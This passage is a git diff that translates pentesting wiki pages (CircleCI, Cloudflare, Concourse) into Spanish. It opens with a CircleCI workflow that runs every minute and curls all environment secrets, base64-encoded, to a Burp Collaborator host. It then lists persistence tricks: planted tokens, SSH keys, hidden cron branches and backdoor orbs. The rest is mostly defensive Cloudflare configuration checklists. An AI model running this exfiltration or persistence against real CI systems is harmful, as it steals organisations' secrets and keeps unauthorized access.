un flujo de trabajo** que se **activa cada minuto** y que **exfiltra los secretos a una dirección externa**: ```yaml version: 2.1 jobs: - exfil-env: - docker: - - image: cimg/base:stable - steps: - - checkout - - run: - name: "Exfil env" - command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`" +exfil-env: +docker: +- image: cimg/base:stable +steps: +- checkout +- run: +name: "Exfil env" +command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`" # I filter by the repo branch where this config.yaml file is located: circleci-project-setup workflows: - exfil-env-workflow: - triggers: - - schedule: - cron: "* * * * *" - filters: - branches: - only: - - circleci-project-setup - jobs: - - exfil-env: - context: Test-Context +exfil-env-workflow: +triggers: +- schedule: +cron: "* * * * *" +filters: +branches: +only: +- circleci-project-setup +jobs: +- exfil-env: +context: Test-Context ``` - > [!WARNING] -> Just creating a new `.circleci/config.yml` in a repo **isn't enough to trigger a circleci build**. You need to **enable it as a project in the circleci console**. +> Simplemente crear un nuevo `.circleci/config.yml` en un repositorio **no es suficiente para activar una construcción de circleci**. Necesitas **habilitarlo como un proyecto en la consola de circleci**. -#### Escape to Cloud +#### Escape a la Nube -**CircleCI** gives you the option to run **your builds in their machines or in your own**.\ -By default their machines are located in GCP, and you initially won't be able to fid anything relevant. However, if a victim is running the tasks in **their own machines (potentially, in a cloud env)**, you might find a **cloud metadata endpoint with interesting information on it**. - -Notice that in the previous examples it was launched everything inside a docker container, but you can also **ask to launch a VM machine** (which may have different cloud permissions): +**CircleCI** te da la opción de ejecutar **tus construcciones en sus máquinas o en las tuyas**.\ +Por defecto, sus máquinas están ubicadas en GCP, y al principio no podrás encontrar nada relevante. Sin embargo, si una víctima está ejecutando las tareas en **sus propias máquinas (potencialmente, en un entorno de nube)**, podrías encontrar un **punto final de metadatos de nube con información interesante**. +Ten en cuenta que en los ejemplos anteriores se lanzó todo dentro de un contenedor de docker, pero también puedes **pedir que se lance una máquina VM** (que puede tener diferentes permisos en la nube): ```yaml jobs: - exfil-env: - #docker: - # - image: cimg/base:stable - machine: - image: ubuntu-2004:current +exfil-env: +#docker: +# - image: cimg/base:stable +machine: +image: ubuntu-2004:current ``` - -Or even a docker container with access to a remote docker service: - +O incluso un contenedor de docker con acceso a un servicio de docker remoto: ```yaml jobs: - exfil-env: - docker: - - image: cimg/base:stable - steps: - - checkout - - setup_remote_docker: - version: 19.03.13 +exfil-env: +docker: +- image: cimg/base:stable +steps: +- checkout +- setup_remote_docker: +version: 19.03.13 ``` +#### Persistencia -#### Persistence - -- It's possible to **create** **user tokens in CircleCI** to access the API endpoints with the users access. - - _https://app.circleci.com/settings/user/tokens_ -- It's possible to **create projects tokens** to access the project with the permissions given to the token. - - _https://app.circleci.com/settings/project/github/\/\/api_ -- It's possible to **add SSH keys** to the projects. - - _https://app.circleci.com/settings/project/github/\/\/ssh_ -- It's possible to **create a cron job in hidden branch** in an unexpected project that is **leaking** all the **context env** vars everyday. - - Or even create in a branch / modify a known job that will **leak** all context and **projects secrets** everyday. -- If you are a github owner you can **allow unverified orbs** and configure one in a job as **backdoor** -- You can find a **command injection vulnerability** in some task and **inject commands** via a **secret** modifying its value +- Es posible **crear** **tokens de usuario en CircleCI** para acceder a los endpoints de la API con el acceso del usuario. +- _https://app.circleci.com/settings/user/tokens_ +- Es posible **crear tokens de proyectos** para acceder al proyecto con los permisos otorgados al token. +- _https://app.circleci.com/settings/project/github/\/\/api_ +- Es posible **agregar claves SSH** a los proyectos. +- _https://app.circleci.com/settings/project/github/\/\/ssh_ +- Es posible **crear un trabajo cron en una rama oculta** en un proyecto inesperado que está **filtrando** todas las variables de **contexto env** todos los días. +- O incluso crear en una rama / modificar un trabajo conocido que **filtrará** todo el contexto y los **secretos de proyectos** todos los días. +- Si eres un propietario de github, puedes **permitir orbes no verificados** y configurar uno en un trabajo como **puerta trasera**. +- Puedes encontrar una **vulnerabilidad de inyección de comandos** en alguna tarea e **inyectar comandos** a través de un **secreto** modificando su valor. {{#include ../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/cloudflare-security/README.md b/src/pentesting-ci-cd/cloudflare-security/README.md index 77d2c2c50..0eb315f92 100644 --- a/src/pentesting-ci-cd/cloudflare-security/README.md +++ b/src/pentesting-ci-cd/cloudflare-security/README.md @@ -2,13 +2,13 @@ {{#include ../../banners/hacktricks-training.md}} -In a Cloudflare account there are some **general settings and services** that can be configured. In this page we are going to **analyze the security related settings of each section:** +En una cuenta de Cloudflare hay algunas **configuraciones y servicios generales** que se pueden configurar. En esta página vamos a **analizar las configuraciones relacionadas con la seguridad de cada sección:**
## Websites -Review each with: +Revisa cada uno con: {{#ref}} cloudflare-domains.md @@ -16,9 +16,9 @@ cloudflare-domains.md ### Domain Registration -- [ ] In **`Transfer Domains`** check that it's not possible to transfer any domain. +- [ ] En **`Transfer Domains`** verifica que no sea posible transferir ningún dominio. -Review each with: +Revisa cada uno con: {{#ref}} cloudflare-domains.md @@ -26,39 +26,39 @@ cloudflare-domains.md ## Analytics -_I couldn't find anything to check for a config security review._ +_No pude encontrar nada para revisar la configuración de seguridad._ ## Pages -On each Cloudflare's page: +En cada página de Cloudflare: -- [ ] Check for **sensitive information** in the **`Build log`**. -- [ ] Check for **sensitive information** in the **Github repository** assigned to the pages. -- [ ] Check for potential github repo compromise via **workflow command injection** or `pull_request_target` compromise. More info in the [**Github Security page**](../github-security/). -- [ ] Check for **vulnerable functions** in the `/fuctions` directory (if any), check the **redirects** in the `_redirects` file (if any) and **misconfigured headers** in the `_headers` file (if any). -- [ ] Check for **vulnerabilities** in the **web page** via **blackbox** or **whitebox** if you can **access the code** -- [ ] In the details of each page `//pages/view/blocklist/settings/functions`. Check for **sensitive information** in the **`Environment variables`**. -- [ ] In the details page check also the **build command** and **root directory** for **potential injections** to compromise the page. +- [ ] Verifica si hay **información sensible** en el **`Build log`**. +- [ ] Verifica si hay **información sensible** en el **repositorio de Github** asignado a las páginas. +- [ ] Verifica posibles compromisos del repositorio de github a través de **inyección de comandos de flujo de trabajo** o compromiso de `pull_request_target`. Más información en la [**página de Seguridad de Github**](../github-security/). +- [ ] Verifica si hay **funciones vulnerables** en el directorio `/fuctions` (si las hay), verifica los **redireccionamientos** en el archivo `_redirects` (si los hay) y los **encabezados mal configurados** en el archivo `_headers` (si los hay). +- [ ] Verifica si hay **vulnerabilidades** en la **página web** a través de **blackbox** o **whitebox** si puedes **acceder al código**. +- [ ] En los detalles de cada página `//pages/view/blocklist/settings/functions`. Verifica si hay **información sensible** en las **`Environment variables`**. +- [ ] En la página de detalles verifica también el **comando de construcción** y el **directorio raíz** en busca de **inyecciones potenciales** que comprometan la página. ## **Workers** -On each Cloudflare's worker check: +En cada worker de Cloudflare verifica: -- [ ] The triggers: What makes the worker trigger? Can a **user send data** that will be **used** by the worker? -- [ ] In the **`Settings`**, check for **`Variables`** containing **sensitive information** -- [ ] Check the **code of the worker** and search for **vulnerabilities** (specially in places where the user can manage the input) - - Check for SSRFs returning the indicated page that you can control - - Check XSSs executing JS inside a svg image - - It is possible that the worker interacts with other internal services. For example, a worker may interact with a R2 bucket storing information in it obtained from the input. In that case, it would be necessary to check what capabilities does the worker have over the R2 bucket and how could it be abused from the user input. +- [ ] Los disparadores: ¿Qué hace que el worker se active? ¿Puede un **usuario enviar datos** que serán **utilizados** por el worker? +- [ ] En los **`Settings`**, verifica si hay **`Variables`** que contengan **información sensible**. +- [ ] Verifica el **código del worker** y busca **vulnerabilidades** (especialmente en lugares donde el usuario puede gestionar la entrada). +- Verifica SSRFs que devuelvan la página indicada que puedes controlar. +- Verifica XSSs ejecutando JS dentro de una imagen svg. +- Es posible que el worker interactúe con otros servicios internos. Por ejemplo, un worker puede interactuar con un bucket R2 que almacena información obtenida de la entrada. En ese caso, sería necesario verificar qué capacidades tiene el worker sobre el bucket R2 y cómo podría ser abusado a partir de la entrada del usuario. > [!WARNING] -> Note that by default a **Worker is given a URL** such as `..workers.dev`. The user can set it to a **subdomain** but you can always access it with that **original URL** if you know it. +> Ten en cuenta que por defecto a un **Worker se le asigna una URL** como `..workers.dev`. El usuario puede configurarlo como un **subdominio**, pero siempre puedes acceder a él con esa **URL original** si la conoces. ## R2 -On each R2 bucket check: +En cada bucket R2 verifica: -- [ ] Configure **CORS Policy**. +- [ ] Configura la **CORS Policy**. ## Stream @@ -70,8 +70,8 @@ TODO ## Security Center -- [ ] If possible, run a **`Security Insights`** **scan** and an **`Infrastructure`** **scan**, as they will **highlight** interesting information **security** wise. -- [ ] Just **check this information** for security misconfigurations and interesting info +- [ ] Si es posible, ejecuta un **`Security Insights`** **scan** y un **`Infrastructure`** **scan**, ya que **destacarán** información interesante desde el punto de vista de **seguridad**. +- [ ] Solo **verifica esta información** en busca de configuraciones de seguridad incorrectas e información interesante. ## Turnstile @@ -86,53 +86,49 @@ cloudflare-zero-trust-network.md ## Bulk Redirects > [!NOTE] -> Unlike [Dynamic Redirects](https://developers.cloudflare.com/rules/url-forwarding/dynamic-redirects/), [**Bulk Redirects**](https://developers.cloudflare.com/rules/url-forwarding/bulk-redirects/) are essentially static — they do **not support any string replacement** operations or regular expressions. However, you can configure URL redirect parameters that affect their URL matching behavior and their runtime behavior. +> A diferencia de [Dynamic Redirects](https://developers.cloudflare.com/rules/url-forwarding/dynamic-redirects/), [**Bulk Redirects**](https://developers.cloudflare.com/rules/url-forwarding/bulk-redirects/) son esencialmente estáticos: no **soportan ninguna operación de reemplazo de cadenas** ni expresiones regulares. Sin embargo, puedes configurar parámetros de redirección de URL que afectan su comportamiento de coincidencia de URL y su comportamiento en tiempo de ejecución. -- [ ] Check that the **expressions** and **requirements** for redirects **make sense**. -- [ ] Check also for **sensitive hidden endpoints** that you contain interesting info. +- [ ] Verifica que las **expresiones** y **requisitos** para las redirecciones **tengan sentido**. +- [ ] Verifica también si hay **endpoints ocultos sensibles** que contengan información interesante. ## Notifications -- [ ] Check the **notifications.** These notifications are recommended for security: - - `Usage Based Billing` - - `HTTP DDoS Attack Alert` - - `Layer 3/4 DDoS Attack Alert` - - `Advanced HTTP DDoS Attack Alert` - - `Advanced Layer 3/4 DDoS Attack Alert` - - `Flow-based Monitoring: Volumetric Attack` - - `Route Leak Detection Alert` - - `Access mTLS Certificate Expiration Alert` - - `SSL for SaaS Custom Hostnames Alert` - - `Universal SSL Alert` - - `Script Monitor New Code Change Detection Alert` - - `Script Monitor New Domain Alert` - - `Script Monitor New Malicious Domain Alert` - - `Script Monitor New Malicious Script Alert` - - `Script Monitor New Malicious URL Alert` - - `Script Monitor New Scripts Alert` - - `Script Monitor New Script Exceeds Max URL Length Alert` - - `Advanced Security Events Alert` - - `Security Events Alert` -- [ ] Check all the **destinations**, as there could be **sensitive info** (basic http auth) in webhook urls. Make also sure webhook urls use **HTTPS** - - [ ] As extra check, you could try to **impersonate a cloudflare notification** to a third party, maybe you can somehow **inject something dangerous** +- [ ] Verifica las **notificaciones.** Estas notificaciones son recomendadas para seguridad: +- `Usage Based Billing` +- `HTTP DDoS Attack Alert` +- `Layer 3/4 DDoS Attack Alert` +- `Advanced HTTP DDoS Attack Alert` +- `Advanced Layer 3/4 DDoS Attack Alert` +- `Flow-based Monitoring: Volumetric Attack` +- `Route Leak Detection Alert` +- `Access mTLS Certificate Expiration Alert` +- `SSL for SaaS Custom Hostnames Alert` +- `Universal SSL Alert` +- `Script Monitor New Code Change Detection Alert` +- `Script Monitor New Domain Alert` +- `Script Monitor New Malicious Domain Alert` +- `Script Monitor New Malicious Script Alert` +- `Script Monitor New Malicious URL Alert` +- `Script Monitor New Scripts Alert` +- `Script Monitor New Script Exceeds Max URL Length Alert` +- `Advanced Security Events Alert` +- `Security Events Alert` +- [ ] Verifica todos los **destinos**, ya que podría haber **información sensible** (autenticación http básica) en las URLs de webhook. Asegúrate también de que las URLs de webhook usen **HTTPS**. +- [ ] Como verificación adicional, podrías intentar **suplantar una notificación de cloudflare** a un tercero, tal vez puedas **inyectar algo peligroso** de alguna manera. ## Manage Account -- [ ] It's possible to see the **last 4 digits of the credit card**, **expiration** time and **billing address** in **`Billing` -> `Payment info`**. -- [ ] It's possible to see the **plan type** used in the account in **`Billing` -> `Subscriptions`**. -- [ ] In **`Members`** it's possible to see all the members of the account and their **role**. Note that if the plan type isn't Enterprise, only 2 roles exist: Administrator and Super Administrator. But if the used **plan is Enterprise**, [**more roles**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) can be used to follow the least privilege principle. - - Therefore, whenever possible is **recommended** to use the **Enterprise plan**. -- [ ] In Members it's possible to check which **members** has **2FA enabled**. **Every** user should have it enabled. +- [ ] Es posible ver los **últimos 4 dígitos de la tarjeta de crédito**, el **tiempo de expiración** y la **dirección de facturación** en **`Billing` -> `Payment info`**. +- [ ] Es posible ver el **tipo de plan** utilizado en la cuenta en **`Billing` -> `Subscriptions`**. +- [ ] En **`Members`** es posible ver todos los miembros de la cuenta y su **rol**. Ten en cuenta que si el tipo de plan no es Enterprise, solo existen 2 roles: Administrador y Super Administrador. Pero si el **plan utilizado es Enterprise**, se pueden usar [**más roles**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) para seguir el principio de menor privilegio. +- Por lo tanto, siempre que sea posible, se **recomienda** utilizar el **plan Enterprise**. +- [ ] En Members es posible verificar qué **miembros** tienen **2FA habilitado**. **Cada** usuario debería tenerlo habilitado. > [!NOTE] -> Note that fortunately the role **`Administrator`** doesn't give permissions to manage memberships (**cannot escalate privs or invite** new members) +> Ten en cuenta que afortunadamente el rol **`Administrator`** no otorga permisos para gestionar membresías (**no puede escalar privilegios ni invitar** nuevos miembros). ## DDoS Investigation -[Check this part](cloudflare-domains.md#cloudflare-ddos-protection). +[Revisa esta parte](cloudflare-domains.md#cloudflare-ddos-protection). {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md b/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md index 02989e685..58954786f 100644 --- a/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md +++ b/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md @@ -2,29 +2,29 @@ {{#include ../../banners/hacktricks-training.md}} -In each TLD configured in Cloudflare there are some **general settings and services** that can be configured. In this page we are going to **analyze the security related settings of each section:** +En cada TLD configurado en Cloudflare hay algunas **configuraciones y servicios generales** que se pueden configurar. En esta página vamos a **analizar las configuraciones relacionadas con la seguridad de cada sección:**
### Overview -- [ ] Get a feeling of **how much** are the services of the account **used** -- [ ] Find also the **zone ID** and the **account ID** +- [ ] Obtener una idea de **cuánto** se están **usando** los servicios de la cuenta +- [ ] Encontrar también el **ID de zona** y el **ID de cuenta** ### Analytics -- [ ] In **`Security`** check if there is any **Rate limiting** +- [ ] En **`Security`** verificar si hay alguna **Limitación de tasa** ### DNS -- [ ] Check **interesting** (sensitive?) data in DNS **records** -- [ ] Check for **subdomains** that could contain **sensitive info** just based on the **name** (like admin173865324.domin.com) -- [ ] Check for web pages that **aren't** **proxied** -- [ ] Check for **proxified web pages** that can be **accessed directly** by CNAME or IP address -- [ ] Check that **DNSSEC** is **enabled** -- [ ] Check that **CNAME Flattening** is **used** in **all CNAMEs** - - This is could be useful to **hide subdomain takeover vulnerabilities** and improve load timings -- [ ] Check that the domains [**aren't vulnerable to spoofing**](https://book.hacktricks.xyz/network-services-pentesting/pentesting-smtp#mail-spoofing) +- [ ] Verificar datos **interesantes** (¿sensibles?) en los **registros** DNS +- [ ] Verificar **subdominios** que podrían contener **información sensible** solo basándose en el **nombre** (como admin173865324.domin.com) +- [ ] Verificar páginas web que **no están** **protegidas** +- [ ] Verificar **páginas web protegidas** que pueden ser **accedidas directamente** por CNAME o dirección IP +- [ ] Verificar que **DNSSEC** esté **habilitado** +- [ ] Verificar que **CNAME Flattening** esté **usado** en **todos los CNAMEs** +- Esto podría ser útil para **ocultar vulnerabilidades de toma de subdominio** y mejorar los tiempos de carga +- [ ] Verificar que los dominios [**no sean vulnerables a suplantación**](https://book.hacktricks.xyz/network-services-pentesting/pentesting-smtp#mail-spoofing) ### **Email** @@ -38,44 +38,44 @@ TODO #### **Overview** -- [ ] The **SSL/TLS encryption** should be **Full** or **Full (Strict)**. Any other will send **clear-text traffic** at some point. -- [ ] The **SSL/TLS Recommender** should be enabled +- [ ] La **encriptación SSL/TLS** debe ser **Completa** o **Completa (Estricto)**. Cualquier otra enviará **tráfico en texto claro** en algún momento. +- [ ] El **Recomendador SSL/TLS** debe estar habilitado #### Edge Certificates -- [ ] **Always Use HTTPS** should be **enabled** -- [ ] **HTTP Strict Transport Security (HSTS)** should be **enabled** -- [ ] **Minimum TLS Version should be 1.2** -- [ ] **TLS 1.3 should be enabled** -- [ ] **Automatic HTTPS Rewrites** should be **enabled** -- [ ] **Certificate Transparency Monitoring** should be **enabled** +- [ ] **Siempre usar HTTPS** debe estar **habilitado** +- [ ] **HTTP Strict Transport Security (HSTS)** debe estar **habilitado** +- [ ] **La versión mínima de TLS debe ser 1.2** +- [ ] **TLS 1.3 debe estar habilitado** +- [ ] **Reescrituras automáticas de HTTPS** deben estar **habilitadas** +- [ ] **Monitoreo de transparencia de certificados** debe estar **habilitado** ### **Security** -- [ ] In the **`WAF`** section it's interesting to check that **Firewall** and **rate limiting rules are used** to prevent abuses. - - The **`Bypass`** action will **disable Cloudflare security** features for a request. It shouldn't be used. -- [ ] In the **`Page Shield`** section it's recommended to check that it's **enabled** if any page is used -- [ ] In the **`API Shield`** section it's recommended to check that it's **enabled** if any API is exposed in Cloudflare -- [ ] In the **`DDoS`** section it's recommended to enable the **DDoS protections** -- [ ] In the **`Settings`** section: - - [ ] Check that the **`Security Level`** is **medium** or greater - - [ ] Check that the **`Challenge Passage`** is 1 hour at max - - [ ] Check that the **`Browser Integrity Check`** is **enabled** - - [ ] Check that the **`Privacy Pass Support`** is **enabled** +- [ ] En la sección **`WAF`** es interesante verificar que se **utilizan reglas de Firewall** y **limitación de tasa** para prevenir abusos. +- La acción **`Bypass`** **desactivará las** características de seguridad de Cloudflare para una solicitud. No debería ser utilizada. +- [ ] En la sección **`Page Shield`** se recomienda verificar que esté **habilitado** si se utiliza alguna página +- [ ] En la sección **`API Shield`** se recomienda verificar que esté **habilitado** si alguna API está expuesta en Cloudflare +- [ ] En la sección **`DDoS`** se recomienda habilitar las **protecciones DDoS** +- [ ] En la sección **`Settings`**: +- [ ] Verificar que el **`Nivel de Seguridad`** sea **medio** o mayor +- [ ] Verificar que el **`Tiempo de Desafío`** sea de 1 hora como máximo +- [ ] Verificar que la **`Verificación de Integridad del Navegador`** esté **habilitada** +- [ ] Verificar que el **`Soporte de Privacy Pass`** esté **habilitado** #### **CloudFlare DDoS Protection** -- If you can, enable **Bot Fight Mode** or **Super Bot Fight Mode**. If you protecting some API accessed programmatically (from a JS front end page for example). You might not be able to enable this without breaking that access. -- In **WAF**: You can create **rate limits by URL path** or to **verified bots** (Rate limiting rules), or to **block access** based on IP, Cookie, referrer...). So you could block requests that doesn't come from a web page or has a cookie. - - If the attack is from a **verified bot**, at least **add a rate limit** to bots. - - If the attack is to a **specific path**, as prevention mechanism, add a **rate limit** in this path. - - You can also **whitelist** IP addresses, IP ranges, countries or ASNs from the **Tools** in WAF. - - Check if **Managed rules** could also help to prevent vulnerability exploitations. - - In the **Tools** section you can **block or give a challenge to specific IPs** and **user agents.** -- In DDoS you could **override some rules to make them more restrictive**. -- **Settings**: Set **Security Level** to **High** and to **Under Attack** if you are Under Attack and that the **Browser Integrity Check is enabled**. -- In Cloudflare Domains -> Analytics -> Security -> Check if **rate limit** is enabled -- In Cloudflare Domains -> Security -> Events -> Check for **detected malicious Events** +- Si puedes, habilita **Bot Fight Mode** o **Super Bot Fight Mode**. Si estás protegiendo alguna API accesada programáticamente (desde una página de frontend JS, por ejemplo). Puede que no puedas habilitar esto sin romper ese acceso. +- En **WAF**: Puedes crear **límites de tasa por ruta URL** o para **bots verificados** (reglas de limitación de tasa), o para **bloquear acceso** basado en IP, Cookie, referidor...). Así que podrías bloquear solicitudes que no provengan de una página web o que no tengan una cookie. +- Si el ataque es de un **bot verificado**, al menos **agrega un límite de tasa** a los bots. +- Si el ataque es a una **ruta específica**, como mecanismo de prevención, agrega un **límite de tasa** en esta ruta. +- También puedes **blanquear** direcciones IP, rangos de IP, países o ASN desde las **Herramientas** en WAF. +- Verifica si las **Reglas gestionadas** también podrían ayudar a prevenir explotaciones de vulnerabilidades. +- En la sección **Herramientas** puedes **bloquear o dar un desafío a IPs** y **agentes de usuario** específicos. +- En DDoS podrías **sobrescribir algunas reglas para hacerlas más restrictivas**. +- **Configuraciones**: Establecer el **Nivel de Seguridad** en **Alto** y en **Bajo Ataque** si estás Bajo Ataque y que la **Verificación de Integridad del Navegador esté habilitada**. +- En Cloudflare Domains -> Analytics -> Security -> Verificar si **la limitación de tasa** está habilitada +- En Cloudflare Domains -> Security -> Events -> Verificar si hay **Eventos maliciosos detectados** ### Access @@ -85,15 +85,15 @@ cloudflare-zero-trust-network.md ### Speed -_I couldn't find any option related to security_ +_No pude encontrar ninguna opción relacionada con la seguridad_ ### Caching -- [ ] In the **`Configuration`** section consider enabling the **CSAM Scanning Tool** +- [ ] En la sección **`Configuration`** considera habilitar la **Herramienta de Escaneo CSAM** ### **Workers Routes** -_You should have already checked_ [_cloudflare workers_](./#workers) +_Ya deberías haber revisado_ [_cloudflare workers_](./#workers) ### Rules @@ -101,9 +101,9 @@ TODO ### Network -- [ ] If **`HTTP/2`** is **enabled**, **`HTTP/2 to Origin`** should be **enabled** -- [ ] **`HTTP/3 (with QUIC)`** should be **enabled** -- [ ] If the **privacy** of your **users** is important, make sure **`Onion Routing`** is **enabled** +- [ ] Si **`HTTP/2`** está **habilitado**, **`HTTP/2 to Origin`** debe estar **habilitado** +- [ ] **`HTTP/3 (con QUIC)`** debe estar **habilitado** +- [ ] Si la **privacidad** de tus **usuarios** es importante, asegúrate de que **`Onion Routing`** esté **habilitado** ### **Traffic** @@ -111,7 +111,7 @@ TODO ### Custom Pages -- [ ] It's optional to configure custom pages when an error related to security is triggered (like a block, rate limiting or I'm under attack mode) +- [ ] Es opcional configurar páginas personalizadas cuando se activa un error relacionado con la seguridad (como un bloqueo, limitación de tasa o estoy en modo de ataque) ### Apps @@ -119,8 +119,8 @@ TODO ### Scrape Shield -- [ ] Check **Email Address Obfuscation** is **enabled** -- [ ] Check **Server-side Excludes** is **enabled** +- [ ] Verificar que la **Ofuscación de Direcciones de Correo Electrónico** esté **habilitada** +- [ ] Verificar que los **Excluidos del lado del servidor** estén **habilitados** ### **Zaraz** @@ -131,7 +131,3 @@ TODO TODO {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md b/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md index 491ae7bc1..773ebda48 100644 --- a/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md +++ b/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md @@ -2,43 +2,43 @@ {{#include ../../banners/hacktricks-training.md}} -In a **Cloudflare Zero Trust Network** account there are some **settings and services** that can be configured. In this page we are going to **analyze the security related settings of each section:** +En una cuenta de **Cloudflare Zero Trust Network** hay algunas **configuraciones y servicios** que se pueden configurar. En esta página vamos a **analizar las configuraciones relacionadas con la seguridad de cada sección:**
### Analytics -- [ ] Useful to **get to know the environment** +- [ ] Útil para **conocer el entorno** ### **Gateway** -- [ ] In **`Policies`** it's possible to generate policies to **restrict** by **DNS**, **network** or **HTTP** request who can access applications. - - If used, **policies** could be created to **restrict** the access to malicious sites. - - This is **only relevant if a gateway is being used**, if not, there is no reason to create defensive policies. +- [ ] En **`Policies`** es posible generar políticas para **restringir** por **DNS**, **red** o **HTTP** quién puede acceder a las aplicaciones. +- Si se utiliza, se podrían crear **políticas** para **restringir** el acceso a sitios maliciosos. +- Esto es **solo relevante si se está utilizando un gateway**, si no, no hay razón para crear políticas defensivas. ### Access #### Applications -On each application: +En cada aplicación: -- [ ] Check **who** can access to the application in the **Policies** and check that **only** the **users** that **need access** to the application can access. - - To allow access **`Access Groups`** are going to be used (and **additional rules** can be set also) -- [ ] Check the **available identity providers** and make sure they **aren't too open** -- [ ] In **`Settings`**: - - [ ] Check **CORS isn't enabled** (if it's enabled, check it's **secure** and it isn't allowing everything) - - [ ] Cookies should have **Strict Same-Site** attribute, **HTTP Only** and **binding cookie** should be **enabled** if the application is HTTP. - - [ ] Consider enabling also **Browser rendering** for better **protection. More info about** [**remote browser isolation here**](https://blog.cloudflare.com/cloudflare-and-remote-browser-isolation/)**.** +- [ ] Verificar **quién** puede acceder a la aplicación en las **Policies** y asegurarse de que **solo** los **usuarios** que **necesitan acceso** a la aplicación puedan acceder. +- Para permitir el acceso se van a utilizar **`Access Groups`** (y también se pueden establecer **reglas adicionales**) +- [ ] Verificar que los **proveedores de identidad disponibles** no sean **demasiado abiertos** +- [ ] En **`Settings`**: +- [ ] Verificar que **CORS no esté habilitado** (si está habilitado, verificar que sea **seguro** y que no esté permitiendo todo) +- [ ] Las cookies deben tener el atributo **Strict Same-Site**, **HTTP Only** y **binding cookie** debe estar **habilitado** si la aplicación es HTTP. +- [ ] Considerar habilitar también **Browser rendering** para mejor **protección. Más información sobre** [**aislamiento de navegador remoto aquí**](https://blog.cloudflare.com/cloudflare-and-remote-browser-isolation/)**.** #### **Access Groups** -- [ ] Check that the access groups generated are **correctly restricted** to the users they should allow. -- [ ] It's specially important to check that the **default access group isn't very open** (it's **not allowing too many people**) as by **default** anyone in that **group** is going to be able to **access applications**. - - Note that it's possible to give **access** to **EVERYONE** and other **very open policies** that aren't recommended unless 100% necessary. +- [ ] Verificar que los grupos de acceso generados estén **correctamente restringidos** a los usuarios que deberían permitir. +- [ ] Es especialmente importante verificar que el **grupo de acceso predeterminado no sea muy abierto** (no **esté permitiendo demasiada gente**) ya que por **defecto** cualquier persona en ese **grupo** podrá **acceder a las aplicaciones**. +- Tenga en cuenta que es posible dar **acceso** a **TODOS** y otras **políticas muy abiertas** que no se recomiendan a menos que sea 100% necesario. #### Service Auth -- [ ] Check that all service tokens **expires in 1 year or less** +- [ ] Verificar que todos los tokens de servicio **expiren en 1 año o menos** #### Tunnels @@ -50,16 +50,12 @@ TODO ### Logs -- [ ] You could search for **unexpected actions** from users +- [ ] Podrías buscar **acciones inesperadas** de los usuarios ### Settings -- [ ] Check the **plan type** -- [ ] It's possible to see the **credits card owner name**, **last 4 digits**, **expiration** date and **address** -- [ ] It's recommended to **add a User Seat Expiration** to remove users that doesn't really use this service +- [ ] Verificar el **tipo de plan** +- [ ] Es posible ver el **nombre del propietario de la tarjeta de crédito**, **últimos 4 dígitos**, **fecha de expiración** y **dirección** +- [ ] Se recomienda **agregar una Expiración de Asiento de Usuario** para eliminar usuarios que realmente no utilizan este servicio {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/concourse-security/README.md b/src/pentesting-ci-cd/concourse-security/README.md index bcf20facf..260e3a5b0 100644 --- a/src/pentesting-ci-cd/concourse-security/README.md +++ b/src/pentesting-ci-cd/concourse-security/README.md @@ -2,36 +2,32 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## Información Básica -Concourse allows you to **build pipelines** to automatically run tests, actions and build images whenever you need it (time based, when something happens...) +Concourse te permite **construir pipelines** para ejecutar automáticamente pruebas, acciones y construir imágenes siempre que lo necesites (basado en tiempo, cuando sucede algo...) -## Concourse Architecture +## Arquitectura de Concourse -Learn how the concourse environment is structured in: +Aprende cómo está estructurado el entorno de concourse en: {{#ref}} concourse-architecture.md {{#endref}} -## Concourse Lab +## Laboratorio de Concourse -Learn how you can run a concourse environment locally to do your own tests in: +Aprende cómo puedes ejecutar un entorno de concourse localmente para hacer tus propias pruebas en: {{#ref}} concourse-lab-creation.md {{#endref}} -## Enumerate & Attack Concourse +## Enumerar y Atacar Concourse -Learn how you can enumerate the concourse environment and abuse it in: +Aprende cómo puedes enumerar el entorno de concourse y abusar de él en: {{#ref}} concourse-enumeration-and-attacks.md {{#endref}} {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/concourse-security/concourse-architecture.md b/src/pentesting-ci-cd/concourse-security/concourse-architecture.md index d70167906..e02b37817 100644 --- a/src/pentesting-ci-cd/concourse-security/concourse-architecture.md +++ b/src/pentesting-ci-cd/concourse-security/concourse-architecture.md @@ -4,39 +4,35 @@ {{#include ../../banners/hacktricks-training.md}} -[**Relevant data from Concourse documentation:**](https://concourse-ci.org/internals.html) +[**Datos relevantes de la documentación de Concourse:**](https://concourse-ci.org/internals.html) ### Architecture ![](<../../images/image (187).png>) -#### ATC: web UI & build scheduler +#### ATC: interfaz web y programador de compilaciones -The ATC is the heart of Concourse. It runs the **web UI and API** and is responsible for all pipeline **scheduling**. It **connects to PostgreSQL**, which it uses to store pipeline data (including build logs). +El ATC es el corazón de Concourse. Ejecuta la **interfaz web y API** y es responsable de toda la **programación** de pipelines. Se **conecta a PostgreSQL**, que utiliza para almacenar datos de pipelines (incluidos los registros de compilación). -The [checker](https://concourse-ci.org/checker.html)'s responsibility is to continuously checks for new versions of resources. The [scheduler](https://concourse-ci.org/scheduler.html) is responsible for scheduling builds for a job and the [build tracker](https://concourse-ci.org/build-tracker.html) is responsible for running any scheduled builds. The [garbage collector](https://concourse-ci.org/garbage-collector.html) is the cleanup mechanism for removing any unused or outdated objects, such as containers and volumes. +La responsabilidad del [checker](https://concourse-ci.org/checker.html) es verificar continuamente si hay nuevas 